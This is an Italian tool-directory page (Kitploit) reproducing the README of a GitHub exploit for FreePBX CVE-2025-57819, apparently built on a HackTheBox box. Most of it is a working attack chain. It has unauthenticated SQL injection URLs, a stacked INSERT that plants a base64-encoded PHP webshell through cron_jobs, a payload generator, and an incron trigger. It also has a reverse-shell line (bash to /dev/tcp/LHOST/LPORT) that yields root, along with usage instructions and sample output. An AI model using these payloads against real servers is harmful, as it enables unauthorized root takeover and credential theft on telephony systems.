Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FreePBX-CVE-2025-57819 — Iniezione SQL non autenticata verso esecuzione di codice remoto in FreePBX — CVE-2025-57819 | Kitploit
Strumenti/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
yuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

Iniezione SQL non autenticata verso esecuzione di codice remoto in FreePBX — CVE-2025-57819

Vedi Repository
1153 mesi faNon ancora revisionato

FreePBX CVE-2025-57819 — SQLi non autenticato a Root RCE

Gravità: Critico
Tipo: SQL Injection non autenticata → Esecuzione remota di codice
Software interessato: FreePBX (modulo endpoint)
Testato su: FreePBX su CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5

Panoramica

Esiste una vulnerabilità di SQL injection non autenticata nel modulo endpoint di FreePBX tramite il parametro brand in /admin/ajax.php. Non sono necessarie credenziali per sfruttare questa vulnerabilità.

Combinata con il meccanismo interno dei cron job di FreePBX e il sistema di hook incron/fwconsole, ciò porta a una shell root completa non autenticata.

Catena di attacco

root@kitploit:~
[Nessuna autenticazione richiesta]
        │
        ▼
SQL Injection non autenticata
(/admin/ajax.php → parametro brand)
        │
        ├──► Estrazione credenziali DB, hash utente
        │
        ├──► INSERT in cron_jobs
        │         │
        │         └──► Webshell PHP depositata nella web root
        │                   │
        │                   └──► RCE come asterisk (flag utente)
        │
        └──► Scrittura file trigger incron (come asterisk)
                  │
                  └──► sysadmin_manager viene eseguito come root
                            │
                            └──► Hook fwconsole → Shell Root

Utilizzo

root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

Esempio:

root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

Output:

root@kitploit:~
[*] Verifica SQLi non autenticata...
[+] SQLi confermata!
[+] Database : asterisk
[+] Versione  : 5.5.65-MariaDB
[+] Utente DB  : freepbxuser@localhost
[*] Inserimento Cron Job per depositare Webshell...
[+] Cron job inserito — in attesa fino a 90 secondi per l'esecuzione...
[+] Webshell attiva! → uid=999(asterisk) gid=1000(asterisk)
[+] Flag utente → HTB{REDACTED}
[*] Attivazione Shell Root → 10.10.xx.xx:9999
[+] File trigger creato — incron lo eseguirà come root!

Come funziona

Fase 1 — SQL Injection

Il parametro brand nel gestore AJAX del modulo endpoint viene passato direttamente in una query SQL senza sanitizzazione:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Questo restituisce il nome del database all'interno di un errore XPATH — una classica tecnica di SQLi basata su errore. Sono supportate anche query impilate, consentendo operazioni INSERT, UPDATE e DELETE.

Fase 2 — Webshell tramite Cron

Utilizzando query impilate, viene inserito un cron job nella tabella cron_jobs di FreePBX:

root@kitploit:~
INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

Il runner dei cron di FreePBX esegue questo comando ogni minuto, depositando una webshell PHP nella web root.

Fase 3 — Root tramite Incron + Hook fwconsole

incrond monitora /var/spool/asterisk/incron/ (scrivibile dall'utente asterisk). Quando viene creato un file lì, attiva /usr/bin/sysadmin_manager come root.

Il formato del nome file api.fwconsole-commands.<payload> corrisponde a un hook preesistente firmato con GPG in:

root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands

L'hook decodifica il nome file come un payload base64(zlib(json([cmd, txn_id]))) ed esegue:

root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";

Usando help; come prefisso, soddisfa fwconsole come comando valido, e il ; concatena comandi shell arbitrari:

root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Questo viene eseguito come root, fornendo una shell root completa.

Sfruttamento manuale

Passo 1 — Verificare SQLi

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

Passo 2 — Depositare Webshell

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

Passo 3 — Generare Payload Root

root@kitploit:~
# Salvare in un file per evitare problemi di quoting nella shell
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

Passo 4 — Attivare Shell Root

root@kitploit:~
# Sul target (come asterisk tramite webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

Risultati chiave durante l'analisi

Timeline della divulgazione

DataEvento
2025Vulnerabilità scoperta e segnalata
2025-11-30Box pubblicata su HackTheBox
2025Assegnato CVE-2025-57819

Disclaimer

Questo strumento è solo per scopi educativi e test di sicurezza autorizzati. Non utilizzarlo contro sistemi per cui non hai esplicita autorizzazione al test. L'autore non è responsabile per eventuali usi impropri.

Riferimenti

  • watchTowr Labs PoC
  • Avviso di sicurezza FreePBX
  • Dettaglio CVE-2025-57819
Scarica lo strumento
RisultatoDettaglio
Databaseasterisk (MariaDB 5.5.65)
Utente DBfreepbxuser@localhost
Utente Webasterisk (uid=999)
Tabella cronscrivibile tramite SQLi
Directory incron/var/spool/asterisk/incron/ (scrivibile da asterisk)
Elevazione privilegiL'hook fwconsole viene eseguito come root tramite incrond
Metodo rootTrigger Incron → hook fwconsole firmato → command injection